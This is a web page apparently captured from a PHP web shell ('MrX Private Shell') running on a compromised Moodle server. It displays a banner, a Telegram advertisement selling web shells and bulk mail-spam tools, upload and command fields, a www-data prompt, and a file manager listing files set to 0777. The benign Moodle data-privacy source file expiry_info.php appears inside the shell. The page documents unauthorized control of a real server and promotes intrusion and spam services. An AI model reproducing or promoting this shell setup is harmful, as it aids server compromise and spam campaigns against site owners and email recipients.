__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Expiry Data.
 *
 * @package    tool_dataprivacy
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace tool_dataprivacy;

use core_privacy\manager;

defined('MOODLE_INTERNAL') || die();

/**
 * Expiry Data.
 *
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class expiry_info {

    /** @var bool Whether this context is fully expired */
    protected $fullyexpired = false;

    /** @var bool Whether the default expiry value of this purpose has been reached */
    protected $defaultexpiryreached = false;

    /** @var bool Whether the default purpose is protected */
    protected $defaultprotected = false;

    /** @var int[] List of expires roles */
    protected $expired = [];

    /** @var int[] List of unexpires roles */
    protected $unexpired = [];

    /** @var int[] List of unexpired roles which are also protected */
    protected $protectedroles = [];

    /**
     * Constructor for the expiry_info class.
     *
     * @param   bool    $default Whether the default expiry period for this context has been reached.
     * @param   bool    $defaultprotected Whether the default expiry is protected.
     * @param   int[]   $expired A list of roles in this context which have explicitly expired.
     * @param   int[]   $unexpired A list of roles in this context which have not yet expired.
     * @param   int[]   $protectedroles A list of unexpired roles in this context which are protected.
     */
    public function __construct(bool $default, bool $defaultprotected, array $expired, array $unexpired, array $protectedroles) {
        $this->defaultexpiryreached = $default;
        $this->defaultprotected = $defaultprotected;
        $this->expired = $expired;
        $this->unexpired = $unexpired;
        $this->protectedroles = $protectedroles;
    }

    /**
     * Whether this context has 'fully' expired.
     * That is to say that the default retention period has been reached, and that there are no unexpired roles.
     *
     * @return  bool
     */
    public function is_fully_expired(): bool {
        return $this->defaultexpiryreached && empty($this->unexpired);
    }

    /**
     * Whether any part of this context has expired.
     *
     * @return  bool
     */
    public function is_any_expired(): bool {
        if ($this->is_fully_expired()) {
            return true;
        }

        if (!empty($this->get_expired_roles())) {
            return true;
        }

        if ($this->is_default_expired()) {
            return true;
        }

        return false;
    }

    /**
     * Get the list of explicitly expired role IDs.
     * Note: This does not list roles which have been expired via the default retention policy being reached.
     *
     * @return  int[]
     */
    public function get_expired_roles(): array {
        if ($this->is_default_expired()) {
            return [];
        }
        return $this->expired;
    }

    /**
     * Check whether the specified role is explicitly expired.
     * Note: This does not list roles which have been expired via the default retention policy being reached.
     *
     * @param   int $roleid
     * @return  bool
     */
    public function is_role_expired(int $roleid): bool {
        return false !== array_search($roleid, $this->expired);
    }

    /**
     * Whether the default retention policy has been reached.
     *
     * @return  bool
     */
    public function is_default_expired(): bool {
        return $this->defaultexpiryreached;
    }

    /**
     * Whether the default purpose is protected.
     *
     * @return  bool
     */
    public function is_default_protected(): bool {
        return $this->defaultprotected;
    }

    /**
     * Get the list of unexpired role IDs.
     *
     * @return  int[]
     */
    public function get_unexpired_roles(): array {
        return $this->unexpired;
    }

    /**
     * Get the list of unexpired protected roles.
     *
     * @return  int[]
     */
    public function get_unexpired_protected_roles(): array {
        return array_keys(array_filter($this->protectedroles));
    }

    /**
     * Get a list of all overridden roles which are unprotected.
     * @return  int[]
     */
    public function get_unprotected_overridden_roles(): array {
        $allroles = array_merge($this->expired, $this->unexpired);

        return array_diff($allroles, $this->protectedroles);
    }

    /**
     * Merge this expiry_info object with another belonging to a child context in order to set the 'safest' heritage.
     *
     * It is not possible to delete any part of a context that is not deleted by a parent.
     * So if a course's retention policy has been reached, then only parts where the children have also expired can be
     * deleted.
     *
     * @param   expiry_info $child The child record to merge with.
     * @return  $this
     */
    public function merge_with_child(expiry_info $child): expiry_info {
        if ($child->is_fully_expired()) {
            return $this;
        }

        // If the child is not fully expired, then none of the parents can be either.
        $this->fullyexpired = false;

        // Remove any role in this node which is not expired in the child.
        foreach ($this->expired as $key => $roleid) {
            if (!$child->is_role_expired($roleid)) {
                unset($this->expired[$key]);
            }
        }

        array_merge($this->unexpired, $child->get_unexpired_roles());

        if (!$child->is_default_expired()) {
            $this->defaultexpiryreached = false;
        }

        return $this;
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
external Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
task Folder 0777
api.php File 65.02 KB 0777
category.php File 2.85 KB 0777
context_instance.php File 3.2 KB 0777
contextlevel.php File 3.96 KB 0777
contextlist_context.php File 1.97 KB 0777
data_registry.php File 14.46 KB 0777
data_request.php File 10.17 KB 0777
dataprivacy_contextlist.php File 1.94 KB 0777
expired_context.php File 10.96 KB 0777
expired_contexts_manager.php File 38.56 KB 0777
expiry_info.php File 6.29 KB 0777
external.php File 55.99 KB 0777
filtered_userlist.php File 2.29 KB 0777
hook_callbacks.php File 1.95 KB 0777
manager_observer.php File 2.88 KB 0777
metadata_registry.php File 8.24 KB 0777
page_helper.php File 3.09 KB 0777
purpose.php File 5.98 KB 0777
purpose_override.php File 4.59 KB 0777
request_contextlist.php File 1.92 KB 0777
Filemanager